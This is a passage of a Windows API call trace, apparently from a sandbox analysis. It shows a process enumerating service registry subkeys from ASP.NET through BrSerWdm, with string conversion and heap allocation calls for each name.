cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4768, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0251.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.101] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.101] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x1dd29e0, cchName=0x104 | out: lpName="atapi") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x1de4768, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.102] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0251.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.102] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x1dd29e0, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BattC") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.103] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.103] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x1de4768, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Beep") returned 0x0 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BFE") returned 0x0 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x1de4768, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BITS") returned 0x0 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0251.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.104] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.104] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bowser") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.105] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0251.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.105] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4768, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0251.106] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4768 [0251.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4768, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0251.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0251.106] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, 